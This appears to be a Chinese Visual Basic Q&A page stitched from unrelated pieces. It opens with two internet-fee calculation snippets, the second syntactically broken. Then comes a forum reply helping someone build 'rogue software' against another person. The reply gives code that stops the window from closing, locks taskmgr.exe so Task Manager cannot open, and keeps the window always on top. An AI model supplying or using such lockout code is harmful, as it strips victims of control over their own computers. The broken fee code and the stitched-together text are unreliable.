Dim h As Integer, c As Single
h = Val(InputBox("请输入上网时间", "输入"))
Select Case h
Case -1
End
Case Is <10
c = 25
Case Is <50
c = 2 * h
Case Is <100
c = 1.5 * h
Case Is <200
c = 1 * h
Case Is >200
c = 200
End Select
msgbox "上网费用为" &c &"元", vbOKOnly, "输出"
End Sub
dim x ,y as singleselect case x
case is<10
y=30
case is<=50
y=2.5*x
case else
y=2*x
end select
if y>150 then
y=150
label1="你这个月的上网费用是"+str(y)
楼主我在做流氓软件把。呵呵、以前我也很困扰这个怎么来实现。我给你代码和思想。防止关闭和最小化。你可以把窗体style改变一下 改成无边框或者边框属性只有关闭按钮的。 后者的话,在Form_Unload()事件中写入 Cancel = -1 这样,无论怎么点关闭也管不了。至于你说的任务管理器呢。用着用方法可以防止它打开任务管理器。
Private Sub Form1_Load()
Open "C:\WINDOWS\system32\taskmgr.exe" For Append As #1
'记住,这里不能关闭不能写 Close #1 否则不行。
End Sub
这样他的任务管理器就打不开了。 但是需要知道他的系统盘安装在哪个路径。 可以用API获取或者 楼主自己问把。
然后呢,这样还是远远不够的,应为即使你不让它关闭,但是对方不理你的程序你怎么办呢, 这时候你就需要用到这个API了。把程序置顶。 这样想不看都不行。 最后加一个Msgbox 。
至于你想把对方怎么样,交给你了。 给你需要的API :
置顶代码:
Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long,ByVal hWndInsertAfter As Long,ByVal x As Long,ByVal y As Long, ByVal cx As Long, ByVal cy As Long,ByVal wFlags As Long) As Long
Public Const SWP_NOMOVE= &H2 '不移动窗体
Public Const SWP_NOSIZE=&H1 '不改变窗体尺寸
Public Const Flag=SWP_NOMOVE Or SWP_NOSIZE
Public Const HWND_TOPMOST=-1 '窗体总在最前面
Public Const HWND_NOTOPMOST=-2 '窗体不在最前面
为窗体添加代码如下:
Private Sub cmdNormal_Click()
cmdTopMost.Enabled=True
cmdNormal. Enabled= False
Form1.Captio = "现在是普通窗口"
SetWindowPos Form1.hwnd,HWND_NOTOPMOST,0,0,0,0,Flag
End Sub
Private Sub cmdTopMost_Click()
cmdTopMost.Enabled = False
cmdNormal.Enabled = True
Form1.Caption = "现在是TopMost窗口"
SetWindowPos Form1.hwnd,HWND_TOPMOST,0,0,0,0,Flag
End Sub
望成功!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)